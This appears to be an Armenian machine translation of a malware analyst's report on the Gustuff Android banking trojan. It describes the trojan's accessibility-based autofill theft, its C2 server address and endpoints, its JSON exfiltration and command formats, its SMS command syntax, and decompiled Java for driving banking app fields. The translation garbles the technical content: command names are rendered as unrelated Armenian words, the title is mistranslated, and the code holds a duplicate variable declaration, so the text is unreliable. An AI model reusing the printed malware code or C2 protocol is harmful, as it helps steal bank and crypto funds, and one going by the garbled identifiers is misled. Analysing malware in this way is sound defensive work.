Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից

Հենց օրերս Group-IB հաղորդում է The Guardian- ը բջջային Android Trojan Gustuff-ի գործունեության մասին։ Այն գործում է բացառապես միջազգային շուկաներում՝ հարձակվելով 100 խոշորագույն արտասահմանյան բանկերի հաճախորդների, 32 բջջային կրիպտո դրամապանակների օգտագործողների, ինչպես նաև էլեկտրոնային առևտրի մեծ ռեսուրսների վրա: Բայց Gustuff-ի մշակողը ռուսալեզու կիբերհանցագործ է Bestoffer մականունով: Վերջերս նա գովաբանեց իր տրոյան որպես «լուրջ արտադրանք գիտելիք և փորձ ունեցող մարդկանց համար»:

Group-IB վնասակար կոդերի վերլուծաբան Իվան Պիսարև իր հետազոտության մեջ նա մանրամասն խոսում է այն մասին, թե ինչպես է աշխատում Գաստաֆը և որն է դրա վտանգը։

Ո՞ւմ է որսում Գաստաֆը:

Gustuff-ը պատկանում է չարամիտ ծրագրերի նոր սերնդին, որն ունի լիովին ավտոմատացված գործառույթներ: Ըստ մշակողի, Trojan-ը դարձել է AndyBot չարամիտ ծրագրի նոր բարելավված տարբերակը, որը հարձակվում է Android հեռախոսների վրա 2017 թվականի նոյեմբերից և փող է գողանում ֆիշինգի վեբ ձևերի միջոցով, որոնք դիմակավորված են որպես հայտնի միջազգային բանկերի և վճարային համակարգերի բջջային հավելվածներ: Bestoffer-ը հայտնել է, որ Gustuff Bot-ի գինը ամսական 800 դոլար է:

Gustuff-ի նմուշի վերլուծությունը ցույց է տվել, որ Trojan-ը պոտենցիալ թիրախավորում է հաճախորդներին՝ օգտագործելով խոշորագույն բանկերի բջջային հավելվածները, ինչպիսիք են Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ինչպես նաև Bitcoin Wallet: , BitPay կրիպտո դրամապանակներ։ , Cryptopay, Coinbase և այլն։

Ի սկզբանե ստեղծված որպես դասական բանկային տրոյան, Գաստուֆի ներկայիս տարբերակը զգալիորեն ընդլայնել է հարձակման համար հնարավոր թիրախների ցանկը: Բացի բանկերի, ֆինտեխ ընկերությունների և կրիպտո ծառայությունների Android հավելվածներից, Gustuff-ը թիրախավորում է շուկայական հավելվածների, առցանց խանութների, վճարային համակարգերի և ակնթարթային մեսենջերների օգտատերերը: Մասնավորապես՝ PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut եւ այլն։

Մուտքի կետ. զանգվածային վարակի հաշվարկ

Gustuff-ին բնորոշ է «դասական» վեկտորը, որը ներթափանցում է Android սմարթֆոններ SMS հաղորդագրությունների միջոցով APK-ների հղումներով: Երբ Android սարքը սերվերի հրամանով վարակվում է տրոյանով, Գաստաֆը կարող է հետագայում տարածվել վարակված հեռախոսի կոնտակտային տվյալների բազայի կամ սերվերի տվյալների բազայի միջոցով: Gustuff-ի ֆունկցիոնալությունը նախատեսված է զանգվածային վարակման և դրա օպերատորների բիզնեսի առավելագույն կապիտալիզացիայի համար. այն ունի եզակի «ավտոլրացման» գործառույթ օրինական բջջային բանկային հավելվածներում և կրիպտո դրամապանակներում, ինչը թույլ է տալիս արագացնել և մասշտաբավորել փողի գողությունը: .

Trojan-ի ուսումնասիրությունը ցույց է տվել, որ ավտոմատ լրացման գործառույթը ներդրված է դրանում՝ օգտագործելով Accessibility Service-ը, որը ծառայություն է հաշմանդամություն ունեցող մարդկանց համար: Gustuff-ը առաջին Trojan-ը չէ, որը հաջողությամբ շրջանցել է պաշտպանությունը այլ հավելվածների պատուհանների տարրերի հետ փոխազդեցությունից՝ օգտագործելով այս Android ծառայությունը: Այնուամենայնիվ, Մատչելիության ծառայության օգտագործումը ավտոմատ լրացման հետ միասին դեռևս բավականին հազվադեպ է:

Տուժողի հեռախոսում ներբեռնվելուց հետո Գաստաֆը, օգտվելով Մատչելիության ծառայությունից, հնարավորություն է ստանում շփվել այլ հավելվածների պատուհանի տարրերի հետ (բանկային բանկային գործ, կրիպտոարժույթ, ինչպես նաև առցանց գնումների, հաղորդագրությունների և այլնի հավելվածներ)՝ կատարելով հարձակվողների համար անհրաժեշտ գործողություններ։ . Օրինակ, սերվերի հրամանով տրոյականը կարող է սեղմել կոճակների վրա և փոխել տեքստային դաշտերի արժեքները բանկային հավելվածներում: Մատչելիության ծառայության մեխանիզմի օգտագործումը թույլ է տալիս Trojan-ին շրջանցել բանկերի կողմից օգտագործվող պաշտպանական մեխանիզմները՝ նախորդ սերնդի շարժական տրոյաններին հակազդելու համար, ինչպես նաև Google-ի կողմից Android OS-ի նոր տարբերակներում իրականացվող անվտանգության քաղաքականության փոփոխությունները: Այսպիսով, Գաստաֆը «գիտի, թե ինչպես» անջատել Google Protect-ի պաշտպանությունը՝ ըստ հեղինակի, այս ֆունկցիան աշխատում է դեպքերի 70%-ում։

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից

Gustuff-ը կարող է նաև ցույց տալ կեղծ PUSH ծանուցումներ օրինական բջջային հավելվածների պատկերակներով: Օգտագործողը սեղմում է PUSH ծանուցումը և տեսնում է սերվերից ներբեռնված ֆիշինգի պատուհանը, որտեղ նա մուտքագրում է բանկային քարտի կամ կրիպտո դրամապանակի պահանջվող տվյալները: Մեկ այլ սցենարով Գաստաֆը բացում է հավելվածը, որի անունից ցուցադրվել է PUSH ծանուցումը։ Այս դեպքում չարամիտ ծրագիրը, Մատչելիության ծառայության միջոցով սերվերի հրամանով, կարող է լրացնել բանկային հավելվածի ձևի դաշտերը՝ կեղծ գործարքի համար:

Gustuff-ի ֆունկցիոնալությունը ներառում է նաև վարակված սարքի մասին տեղեկություններ ուղարկել սերվեր, SMS հաղորդագրություններ կարդալու/ուղարկելու, USSD հարցումներ ուղարկելու, SOCKS5 Proxy-ի գործարկում, հղման հետևում, ֆայլեր ուղարկելու հնարավորություն (ներառյալ փաստաթղթերի լուսանկարների սկանավորում, սքրինշոթներ, լուսանկարներ) դեպի սերվեր, վերակայեք սարքը գործարանային կարգավորումներին:

Չարամիտ ծրագրերի վերլուծություն

Նախքան վնասակար հավելված տեղադրելը, Android OS-ը օգտվողին ցույց է տալիս պատուհան, որը պարունակում է Gustuff-ի պահանջած իրավունքների ցանկը.

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից
Հավելվածի տեղադրումը տեղի կունենա միայն օգտատիրոջ համաձայնությունը ստանալուց հետո։ Հավելվածը գործարկելուց հետո Trojan-ը օգտվողին ցույց կտա պատուհան.

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից
Այնուհետև այն կհեռացնի իր պատկերակը:

Gustuff-ը փաթեթավորված է, ըստ հեղինակի, FTT փաթեթավորողի կողմից: Գործարկվելուց հետո հավելվածը պարբերաբար մուտք է գործում CnC սերվեր՝ հրամաններ ստանալու համար: Մեր ուսումնասիրած մի քանի ֆայլերում IP հասցեն օգտագործվել է որպես կառավարման սերվեր 88.99.171 [.]105 (այսուհետ՝ <%C&C%>).

Սկսելուց հետո ծրագիրը սկսում է հաղորդագրություններ ուղարկել սերվերին http://<%CnC%>/api/v1/get.php.

Որպես պատասխան ակնկալվում է հետևյալ JSON ձևաչափը.

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Յուրաքանչյուր հարցումով հավելվածը տեղեկատվություն է ուղարկում վարակված սարքի մասին։ Հաղորդագրության ձևաչափը ներկայացված է ստորև: Հարկ է նշել, որ դաշտերը Լրիվ, հավելյալ, Apps и թույլտվություն – կամընտիր և կուղարկվի միայն CnC-ից պահանջելու հրամանի դեպքում:

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Կազմաձևման տվյալների պահպանում

Gustuff-ը կարևոր տեղեկություններ է պահում նախապատվության ֆայլում: Ֆայլի անունը, ինչպես նաև դրանում առկա պարամետրերի անունները, տողից MD5 գումարը հաշվարկելու արդյունք են։ 15413090667214.6.1<%name%>Որտեղ <%name%> սկզբնական անուն-արժեքն է։ Անվան ստեղծման ֆունկցիայի Python մեկնաբանությունը.

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Հետևյալում մենք կնշենք որպես nameGenerator (մուտքագրում).
Այսպիսով, առաջին ֆայլի անունը հետևյալն է. nameGenerator («API_SERVER_LIST»), այն պարունակում է արժեքներ հետևյալ անուններով.

Փոփոխական անուն Արժեք
nameGenerator («API_SERVER_LIST») Պարունակում է CnC հասցեների ցանկ՝ որպես զանգված:
nameGenerator («API_SERVER_URL») Պարունակում է CnC հասցե:
nameGenerator («SMS_UPLOAD») Դրոշը դրված է լռելյայն: Եթե ​​դրոշը դրված է, այն SMS հաղորդագրություններ է ուղարկում CnC:
nameGenerator («SMS_ROOT_NUMBER») Հեռախոսահամարը, որին կուղարկվեն վարակված սարքի կողմից ստացված SMS հաղորդագրությունները: Կանխադրվածը զրոյական է:
nameGenerator («SMS_ROOT_NUMBER_RESEND») Դրոշը լռելյայն մաքրված է: Եթե ​​կարգավորված է, երբ վարակված սարքը SMS հաղորդագրություն է ստանում, այն կուղարկվի արմատային համարին:
nameGenerator («DEFAULT_APP_SMS») Դրոշը լռելյայն մաքրված է: Եթե ​​այս դրոշը դրված է, հավելվածը կմշակի մուտքային SMS հաղորդագրությունները:
nameGenerator («DEFAULT_ADMIN») Դրոշը լռելյայն մաքրված է: Եթե ​​դրոշը դրված է, հավելվածն ունի ադմինիստրատորի իրավունքներ:
nameGenerator («DEFAULT_ACCESSIBILITY») Դրոշը լռելյայն մաքրված է: Եթե ​​դրոշը սահմանված է, ծառայությունը, որն օգտագործում է Մատչելիության ծառայությունը, գործարկվում է:
nameGenerator («APPS_CONFIG») JSON օբյեկտը պարունակում է գործողությունների ցանկ, որոնք պետք է կատարվեն, երբ գործարկվում է Մատչելիության իրադարձություն՝ կապված կոնկրետ հավելվածի հետ:
nameGenerator («APPS_INSTALLED») Պահպանում է սարքում տեղադրված հավելվածների ցանկը:
nameGenerator («IS_FIST_RUN») Դրոշը մաքրվում է առաջին իսկ մեկնարկին:
nameGenerator («UNIQUE_ID») Պարունակում է եզակի նույնացուցիչ: Ստեղծվում է, երբ բոտն առաջին անգամ գործարկվում է:

Սերվերի հրամանների մշակման մոդուլ

Հավելվածը պահում է CnC սերվերների հասցեները որպես կոդավորված զանգված Base85- ը տողեր։ CnC սերվերների ցանկը կարող է փոխվել համապատասխան հրամանը ստանալուց հետո, որի դեպքում հասցեները կպահվեն նախապատվության ֆայլում։

Հարցմանը ի պատասխան՝ սերվերը հրաման է ուղարկում հավելվածին։ Հարկ է նշել, որ հրամանները և պարամետրերը ներկայացված են JSON ձևաչափով։ Հավելվածը կարող է մշակել հետևյալ հրամանները.

Թիմ Նկարագրություն
առաջ Սկսել Սկսեք ուղարկել վարակված սարքի ստացած SMS հաղորդագրությունները CnC սերվերին:
առաջ կանգառ Դադարեցրեք վարակված սարքի կողմից ստացված SMS հաղորդագրությունները CnC սերվերին ուղարկելը:
ussdRun Կատարեք USSD հարցում: Համարը, որին դուք պետք է USSD հարցում կատարեք, գտնվում է «համար» JSON դաշտում:
ուղարկել SMS Ուղարկեք մեկ SMS հաղորդագրություն (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի): Որպես պարամետր, հրամանը վերցնում է JSON օբյեկտ, որը պարունակում է «to» դաշտերը՝ նպատակակետ համարը և «body»՝ հաղորդագրության հիմնական մասը:
sendSmsAb Ուղարկեք SMS հաղորդագրություններ (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի) վարակված սարքի կոնտակտների ցանկից բոլորին։ Հաղորդագրություններ ուղարկելու միջև ընդմիջումը 10 վայրկյան է: Հաղորդագրության հիմնական մասը JSON դաշտում է «body»
ուղարկել SmsMass Ուղարկեք SMS հաղորդագրություններ (անհրաժեշտության դեպքում հաղորդագրությունը «բաժանվում» է մասերի) հրամանի պարամետրերում նշված կոնտակտներին: Հաղորդագրություններ ուղարկելու միջև ընդմիջումը 10 վայրկյան է: Որպես պարամետր հրամանը վերցնում է JSON զանգված (դաշտ «sms»), որի տարրերը պարունակում են «to» դաշտերը՝ նպատակակետ համարը և «body»՝ հաղորդագրության հիմնական մասը։
changeServer Այս հրամանը կարող է արժեք ընդունել «url» ստեղնով որպես պարամետր, այնուհետև բոտը կփոխի nameGenerator («SERVER_URL») կամ «array» արժեքը, այնուհետև բոտը կգրի զանգվածը nameGenerator-ում («API_SERVER_LIST») Այսպիսով, հավելվածը փոխում է CnC սերվերների հասցեն։
ադմինիստրատորի համարը Հրամանը նախատեսված է արմատային թվի հետ աշխատելու համար: Հրամանն ընդունում է JSON օբյեկտ հետևյալ պարամետրերով. «համար» - փոխել nameGenerator(«ROOT_NUMBER») ստացված արժեքին, «վեր ուղարկել» - փոխել nameGenerator («SMS_ROOT_NUMBER_RESEND»), «sendId» - ուղարկել եզակի ID nameGenerator-ին («ROOT_NUMBER»: »):
updateInfo Վարակված սարքի մասին տեղեկություն ուղարկեք սերվերին:
սրբել տվյալները Հրամանը նախատեսված է օգտվողի տվյալները ջնջելու համար։ Կախված նրանից, թե որ անունից է գործարկվել հավելվածը, տեղի է ունենում կա՛մ տվյալների ամբողջական ջնջում՝ սարքի (առաջնային օգտագործողի) վերագործարկմամբ, կա՛մ միայն օգտատիրոջ տվյալների (երկրորդային օգտվողի) ջնջում:
գուլպաներՍկսել Գործարկեք վստահված անձի մոդուլը: Մոդուլի աշխատանքը նկարագրված է առանձին բաժնում:
գուլպաներԿանգնեք Դադարեցրեք վստահված անձի մոդուլը:
openLink Հետևեք հղմանը։ Հղումը JSON պարամետրում է «url» ստեղնով: «android.intent.action.VIEW»-ն օգտագործվում է հղումը բացելու համար:
uploadAllSms Սարքի ստացած բոլոր SMS հաղորդագրությունները ուղարկեք սերվերին:
վերբեռնել Բոլոր լուսանկարները Ուղարկեք պատկերներ վարակված սարքից URL հասցեին: URL-ը գալիս է որպես պարամետր:
Ներբեռնել ֆայլ Ուղարկեք ֆայլ վարակված սարքից URL հասցեին: URL-ը գալիս է որպես պարամետր:
վերբեռնել Հեռախոսահամարներ Հեռախոսահամարները կոնտակտների ցանկից ուղարկեք սերվերին: Եթե ​​«ab» ստեղնով JSON օբյեկտը գալիս է որպես պարամետր, ապա հավելվածը հեռախոսագիրքից ստանում է կոնտակտների ցանկ: Եթե ​​որպես պարամետր ստացվում է JSON օբյեկտ՝ «sms» բանալիով, ապա հավելվածը կարդում է SMS հաղորդագրություն ուղարկողների կոնտակտների ցանկը:
changeArchive Հավելվածը ներբեռնում է ֆայլ այն հասցեից, որը գալիս է որպես պարամետր՝ օգտագործելով «url» ստեղնը: Ներբեռնված ֆայլը պահվում է «archive.zip» անունով: Դրանից հետո հավելվածը կհանի ֆայլը՝ անհրաժեշտության դեպքում օգտագործելով «b5jXh37gxgHBrZhQ4j3D» արխիվի գաղտնաբառը։ Ապազիպված ֆայլերը պահվում են [արտաքին պահեստավորում]/hgps գրացուցակում: Այս գրացուցակում հավելվածը պահպանում է վեբ կեղծիքները (նկարագրված է ստորև):
գործողությունները Հրամանը նախատեսված է Action Service-ի հետ աշխատելու համար, որը նկարագրված է առանձին բաժնում:
փորձարկում Ոչինչ չանելով։
բեռնել Հրամանը նախատեսված է հեռավոր սերվերից ֆայլ ներբեռնելու և այն Ներբեռնումների գրացուցակում պահելու համար: URL-ը և ֆայլի անունը գալիս են որպես պարամետր, JSON օբյեկտի դաշտերը համապատասխանաբար պարամետրն են՝ «url» և «fileName»:
հեռացնել Հեռացնում է ֆայլը Ներբեռնումների գրացուցակից: Ֆայլի անունը գալիս է JSON պարամետրով «fileName» ստեղնով: Ֆայլի լռելյայն անունն է «tmp.apk»:
ծանուցում Ցույց տալ ծանուցումը կառավարման սերվերի կողմից սահմանված նկարագրության և վերնագրի տեքստերով:

Հրամանի ձևաչափ ծանուցում:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Հետազոտվող ֆայլի կողմից ստեղծված ծանուցումը նույնական է դաշտում նշված հավելվածի կողմից ստեղծված ծանուցումներին։ ծրագիրը. Եթե ​​դաշտի արժեքը openApp — Ճիշտ է, երբ ծանուցումը բացվում է, դաշտում նշված հավելվածը գործարկվում է ծրագիրը. Եթե ​​դաշտի արժեքը openApp - Սուտ, ուրեմն.

  • բացվում է ֆիշինգի պատուհան, որի բովանդակությունը բեռնվում է գրացուցակից <%արտաքին պահոց%>/hgps/<%filename%>
  • բացվում է ֆիշինգի պատուհան, որի բովանդակությունը ներբեռնվում է սերվերից <%url%>?id=<%Bot id%>&app=<%Application name%>
  • բացվում է ֆիշինգի պատուհան, որը քողարկված է որպես Google Play Քարտ՝ քարտի տվյալները մուտքագրելու ընտրանքով:

Հավելվածը ուղարկում է ցանկացած հրամանի կատարման արդյունքը <%CnC%>set_state.php որպես JSON օբյեկտ հետևյալ ձևաչափով.

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Actions Service
Հրամանների ցանկը, որը ներառում է դիմումի գործընթացները գործողություն. Երբ հրաման է ստացվում, հրամանների մշակման մոդուլը կանչում է այս ծառայությունը՝ ընդլայնված հրամանը կատարելու համար: Ծառայությունը որպես պարամետր ընդունում է JSON օբյեկտ: Ծառայությունը կարող է կատարել հետևյալ հրամանները.

1. PARAMS_ACTION - նման հրաման ստանալիս ծառայությունը նախ և առաջ ստանում է արժեք JSON պարամետրից Type ստեղնով, այն կարող է լինել հետևյալը.

  • serviceInfo – ենթահրամանը արժեքը ստանում է JSON պարամետրից ըստ բանալի ներառում է Ոչ Կարևոր. Եթե ​​դրոշը True է, ապա հավելվածը սահմանում է դրոշը FLAG_ISOLATED_PROCESS ծառայությանը, որն օգտագործում է Մատչելիության ծառայությունը: Այսպիսով, ծառայությունը կգործարկվի առանձին գործընթացով։
  • արմատ - ստանալ և ուղարկել սերվերին տվյալ պահին ուշադրության կենտրոնում գտնվող պատուհանի մասին տեղեկատվություն: Հավելվածը տեղեկատվություն է ստանում AccessibilityNodeInfo դասի միջոցով:
  • admin մասին - խնդրեք ադմինիստրատորի իրավունքները:
  • ձգձգել - կասեցնել ActionsService-ը «տվյալների» ստեղնով պարամետրում նշված միլիվայրկյանների քանակով:
  • ապակիները — ուղարկել օգտատիրոջը տեսանելի պատուհանների ցանկը:
  • տեղադրել — տեղադրել հավելվածը վարակված սարքի վրա: Փաթեթի անվանումը` արխիվը գտնվում է «fileName» ստեղնում: Արխիվն ինքնին գտնվում է Ներբեռնումների գրացուցակում:
  • համաշխարհային – ենթահրամանը նախատեսված է ընթացիկ պատուհանից անցնելու համար.
    • Արագ կարգավորումների ընտրացանկում
    • ետ
    • տուն
    • ծանուցումներին
    • դեպի վերջերս բացված հավելվածների պատուհանը

  • սկսել - գործարկել հավելվածը: Հավելվածի անունը գալիս է որպես հիմնական պարամետր տվյալներ.
  • հնչյուններ — փոխել ձայնի ռեժիմը լռության:
  • բաց անել - միացնում է էկրանի և ստեղնաշարի հետևի լույսը մինչև ամբողջ պայծառությունը: Հավելվածը կատարում է այս գործողությունը՝ օգտագործելով WakeLock, որպես պիտակ նշում է [Application lable]:INFO տողը:
  • թույլտվություն Overlay — գործառույթը չի իրականացվել (պատասխան հրամանի կատարմանը — {"message":"Not support"} կամ {"message":"low sdk"})
  • ժեստ — ֆունկցիան չի իրականացվել (պատասխան հրամանի կատարմանը — {"message":"Not support"}կամ {"message":"Low API"})
  • թույլտվությունները - Այս հրամանը պահանջվում է հավելվածի համար թույլտվություններ խնդրելու համար: Այնուամենայնիվ, հարցումների գործառույթը չի իրականացվում, ուստի հրամանն անիմաստ է: Պահանջվող թույլտվությունների ցանկը գալիս է որպես JSON զանգված՝ «թույլտվություններ» ստեղնով: Ստանդարտ ցուցակ.
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • բացել — ցուցադրել ֆիշինգի պատուհանը: Կախված սերվերից եկող պարամետրից՝ հավելվածը կարող է ցուցադրել հետևյալ ֆիշինգի պատուհանները.
    • Ցույց տալ ֆիշինգի պատուհանը, որի բովանդակությունը գրված է գրացուցակի ֆայլում <%արտաքին գրացուցակ%>/hgps/<%param_filename%>. Պատուհանի հետ օգտագործողի փոխազդեցության արդյունքը կուղարկվի հասցեին <%CnC%>/records.php
    • Ցույց տալ ֆիշինգի պատուհանը, որի բովանդակությունը նախապես բեռնված է հասցեից <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Պատուհանի հետ օգտագործողի փոխազդեցության արդյունքը կուղարկվի հասցեին <%CnC%>/records.php
    • Ցուցադրել ֆիշինգի պատուհան՝ քողարկված որպես Google Play քարտ:

  • ինտերակտիվ — հրամանը նախատեսված է այլ հավելվածների պատուհանի տարրերի հետ փոխազդելու համար՝ օգտագործելով AcessibilityService-ը: Ծրագրում հատուկ ծառայություն է իրականացվում փոխգործակցության համար։ Հետազոտվող հավելվածը կարող է փոխազդել Windows-ի հետ՝
    • Ակտիվ այս պահին. Այս դեպքում պարամետրը պարունակում է այն օբյեկտի ID-ն կամ տեքստը (անունը), որի հետ ցանկանում եք փոխազդել:
    • Տեսանելի է օգտագործողի համար հրամանի կատարման պահին: Հավելվածն ընտրում է պատուհանները ըստ ID-ի:

    Ստանալով առարկաները AccessibilityNodeInfo պատուհանի համար հետաքրքրություն ներկայացնող տարրերի համար հավելվածը, կախված պարամետրերից, կարող է կատարել հետևյալ գործողությունները.

    • կենտրոնացում - կենտրոնացնել օբյեկտի վրա:
    • սեղմեք - սեղմեք օբյեկտի վրա:
    • actionId - կատարել գործողություն ID-ով:
    • setText - փոխել օբյեկտի տեքստը: Տեքստի փոփոխությունը հնարավոր է երկու եղանակով՝ կատարել գործողություն ACTION_SET_TEXT (եթե վարակված սարքի Android տարբերակը փոքր է կամ հավասար է ԼՈԼԼԻՊՈՊ), կամ սեղմատախտակի վրա տող տեղադրելով և այն օբյեկտի մեջ կպցնելով (ավելի հին տարբերակների համար): Այս հրամանը կարող է օգտագործվել բանկային հավելվածում տվյալները փոխելու համար:

2. PARAMS_ACTIONS - նույնը, ինչ PARAMS_ACTION, գալիս է միայն JSON հրամանների զանգված:

Թվում է, թե շատերին կհետաքրքրի, թե ինչ տեսք ունի մեկ այլ հավելվածի պատուհանի տարրերի հետ փոխազդելու գործառույթը։ Այս գործառույթն իրականացվում է Gustuff-ում.

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Տեքստի փոխարինման գործառույթ.

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Այսպիսով, կառավարման սերվերի ճիշտ կազմաձևման դեպքում Գաստաֆը կարողանում է բանկային հավելվածում լրացնել տեքստային դաշտերը և սեղմել գործարքն ավարտելու համար անհրաժեշտ կոճակները։ Trojan-ը նույնիսկ կարիք չունի թույլտվություն անցնել հավելվածում. բավական է հրաման ուղարկել PUSH ծանուցումը ցուցադրելու համար, որից հետո բացել նախկինում տեղադրված բանկային հավելվածը: Օգտատերն ինքը կլիազորվի, որից հետո Գաստաֆը կկարողանա ինքնալրացնել։

SMS մշակման մոդուլ

Հավելվածը սահմանում է իրադարձությունների մշակիչ՝ վարակված սարքի կողմից SMS հաղորդագրություններ ստանալու համար: Ուսումնասիրվող հավելվածը կարող է ստանալ հրամաններ օպերատորից, որոնք հայտնվում են SMS հաղորդագրության մեջ: Հրամանները գալիս են հետևյալ ձևաչափով.

7!5=<%Base64 կոդավորված հրաման%>

Հավելվածը որոնում է բոլոր մուտքային SMS հաղորդագրությունները տողի համար 7՛5=, երբ տողը հայտնաբերվում է, այն վերծանում է տողը Base64-ից օֆսեթ 4-ում և կատարում հրամանը։ Հրամանները նման են CnC-ով հրամաններին: Կատարման արդյունքը ուղարկվում է նույն համարին, որից ստացվել է հրամանը: Պատասխանի ձևաչափ.

7*5=<«result_code հրամանի»%Base64 կոդավորումը%>

Ցանկության դեպքում հավելվածը կարող է ուղարկել բոլոր ստացված հաղորդագրությունները Root համարին: Դա անելու համար նախապատվության ֆայլում պետք է նշվի Root համարը և հաղորդագրության վերահղման դրոշակը: Հարձակվողի համարին SMS հաղորդագրություն է ուղարկվում հետևյալ ձևաչափով.

<%Թվերից%> - <%Ժամանակ, ձևաչափ՝ dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Բացի այդ, ըստ ցանկության, հավելվածը կարող է հաղորդագրություններ ուղարկել CnC: SMS հաղորդագրությունը սերվերին ուղարկվում է JSON ձևաչափով.

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Եթե ​​դրոշը դրված է nameGenerator («DEFAULT_APP_SMS») – հավելվածը դադարեցնում է SMS հաղորդագրության մշակումը և մաքրում մուտքային հաղորդագրությունների ցանկը:

Վստահված անձի մոդուլ

Ուսումնասիրվող հավելվածում կա Backconnect Proxy մոդուլ (այսուհետ՝ Proxy մոդուլ), որն ունի առանձին դաս, որը ներառում է ստատիկ դաշտեր՝ կոնֆիգուրացիայով։ Կազմաձևման տվյալները նմուշում պահվում են պարզ տեքստով.

Ինչպես է Gustuff Android Trojan-ը հեռացնում կրեմը (fiat և crypto) ձեր հաշիվներից

